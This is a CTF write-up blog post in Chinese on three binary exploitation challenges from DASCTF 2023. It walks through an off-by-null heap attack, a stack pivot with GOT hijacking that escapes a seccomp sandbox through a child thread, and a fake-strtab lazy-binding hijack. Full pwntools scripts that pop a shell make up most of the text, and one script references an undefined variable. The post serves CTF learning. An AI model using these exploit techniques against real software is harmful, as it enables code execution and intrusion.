DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

CH13hh發表於2024-07-23

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

1.can_you_find_me

檢查保護

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

意料之中

64位ida逆向

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

只有add,和del功能不能show

先看add吧

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

最多申請10個堆塊

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

存在off_by_null漏洞,可以考慮unlink來進行堆塊重疊

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

del函式就沒有UAF漏洞了

1.首先想辦法洩露出libc地址,因為本題libc是2.27的,所以引入了tcachebin機制,要麼申請大堆塊要麼申請超過7個的小堆塊,但是本題有限制申請的數量,結合off——by——null,優先考慮unlink

2.透過unlink,和tcachebin打配合,申請堆塊到__IO_2_1_stdout_結構體上修改__IO_write_base_ 欄位,由於後面呼叫了puts,所以會列印很多資料,本地測試是改末尾位\x58到_IO_file_jumps上,根據這個計算偏移

3.接著就是同樣的手法打配合,free_hook改為system,進而得到shell。

ps:由於遠端高位位元組需要爆破,寫個迴圈方便一點(1/16的機率)

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

#io = process('./find')
libc = ELF('/home/su/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so') 
#io = remote('node5.buuoj.cn',27771)

def add(size,msg):
    io.sendlineafter('choice:','1');
    io.sendlineafter('Size:',str(size))
    io.sendlineafter('Data:',msg)


def free(index):
    io.sendlineafter('choice:','2');
    io.sendlineafter('Index:',str(index))

def pwn():
  add(0x410,'aa') #0
  add(0x20,'aa')  #1
  add(0x20,'aa')  #2
  add(0x30,'aa')  #3
  add(0x4f0,'aa') #4
  add(0x20,'/bin/sh\x00') #5
  gdb.attach(io)
  free(0)
  free(3)

  payload = b'a'*0x30 + p64(0x40+0x30+0x30+0x420)
  add(0x38,payload) #0
  #gdb.attach(io)
  free(4)

  free(1)

  add(0x410,'a') #1 
  #gdb.attach(io)
  add(0x10,b'\x60\xc7') #3

  add(0x20,b'a') #4
  payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'
  add(0x27,payload)

  libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['_IO_file_jumps']
  success('libc_base----->'+hex(libc_base))
  free_hook = libc_base + libc.sym['__free_hook']
  system = libc_base + libc.sym['system']
  pause()
  #gdb.attach(io)
  free(0)
  payload = b'a'*0x30 + p64(0) + p64(0x41) + p64(free_hook)
  add(0x60,payload)
  add(0x38,'aaa')
  add(0x38,p64(system))

  free(5)
  io.interactive()

while True:
    try:
        #io = remote('node5.buuoj.cn',27373)
        io = process('./find')
        pwn()
        break;
    except:
        io.close()

2.A dream

程式保護情況

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

沒有開canary和pie保護

64位ida逆向

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

建立了一個子執行緒

進去看看

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

一直列印一句話(wyxy....)

主程序還有一個函式進去看看

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

一個讀取存在8位元組的溢位,可以棧遷移

(真那麼簡單嗎?出題人你幹了什麼,你不開沙箱我們如何對抗ctfers,出題人冷冷一笑,哼,很簡單,我保護開滿不久好了,說罷出題人便開啟了最終保護,讓ctfers無處下手)

所以我們先看看沙箱

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

那麼沒有open也不能orw了,ida看到這個沙箱是在主執行緒裡面,因此我們可以考慮劫持子執行緒拿到shell

1.怎麼劫持呢?注意到子程序呼叫了write,那麼可以劫持write_got表修改為下面這個地址

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

2.欸,這不就在子程序開始讀取了嘛,直接開炫

3.注意要把主執行緒sleep起來不然主執行緒沒了更不要說子執行緒了

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./dream')
#io = remote('node5.buuoj.cn',29280)
elf = ELF('./dream')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('libc6_2.31-0ubuntu9.7_amd64.so')
bss = elf.bss() + 0x100
magic_read = 0x4013AE
payload = b'a'*0x40 + p64(bss+0x40) + p64(magic_read)
io.send(payload)
#gdb.attach(io)
sleep(0.1)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
leave_ret = 0x40136c
payload = p64(pop_rsi_r15_ret) + p64(elf.got['write']) + p64(0) +p64(elf.plt['read']) 
payload += p64(pop_rdi_ret) + p64(0x1000) + p64(elf.plt['sleep'])
payload = payload.ljust(0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
io.send(payload)
sleep(0.1)
#gdb.attach(io)
io.send(p64(magic_read))

pause()

payload =b'a'*0x30 +p64(pop_rdi_ret) + p64(elf.got['puts']) +p64(elf.plt['puts']) + p64(magic_read)
gdb.attach(io)
io.send(payload)
sleep(0.1)
io.recvuntil('\n')
io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#io.recvuntil('\n')
#sleep(0.2)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']
ret = 0x40101a
#gdb.attach(io)
pop_rdi_rbp_ret = libc_base + 0x000000000002a745   #+ 0x248f2
thread_stack_rsp_addr = libc_base - 0x4150 + 0x2fa0 - 0x40 -8
success('thread_stack_rop_addr----->'+hex(thread_stack_rop_addr)) 
payload = p64(ret) + p64(pop_rdi_rbp_ret) + p64(bin_sh_addr) + p64(0) +p64(system_addr)
payload = payload.ljust(0x40, b'\x00') + p64(thread_stack_rsp_addr) +p64(leave_ret)
#gdb.attach(io)
io.send(payload)

io.interactive()

3.matchmaking platform

程式保護情況

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

只給我們留了一個延遲繫結

64位ida逆向

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

分別有兩次機會向0x4140和0x40c0上面寫東西

DASCTF 2023六月挑戰賽|二進位制專項 PWN (下)

v3是char型別範圍-127-128,起始是0,用了do,while,可以加到129,實現溢位變成-128,也就是可以寫到0x40c0的位置(這個位置儲存了程式裡面的一個地址)

思路:1.透過溢位修改最後一位到老朋友_IO_2_1_stdout_結構體上,進而實現資料的洩露,有機率洩露出程式地址

2.因為程式是延遲繫結,透過偽造str_tab,劫持到free延遲繫結劫持到puts_got表上,最後放入引數/bin/sh拿到shell

exp:

from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def pwn():
    io.sendafter("Age >> ", b'\x00' * 0x80 + b'\x80')
    io.sendlineafter("Photo(URL) >> ", p64(0xfbad1887) + p64(0) * 3 + b'\xb0\x5d')
    pie_base = u64(io.recv(6, timeout=0.5).ljust(8, b'\x00')) - 0x40a0
    if (pie_base & 0xfff) != 0:
        exit(-1)
    success("pie_base:\t" + hex(pie_base))
    pause()
    gdb.attach(io)
    payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
    io.sendafter("Name >> ", payload.ljust(0x80, b'\x00') + b'\x08')
    payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140) #透過偏移劫持到puts
    io.sendlineafter("Hobby >> ", payload)
    io.interactive()
if __name__ == '__main__':
    while True:
        global io
        try:
            io = process("./matchmaking_platform")
            pwn()
            break
        except:
            io.close()

相關文章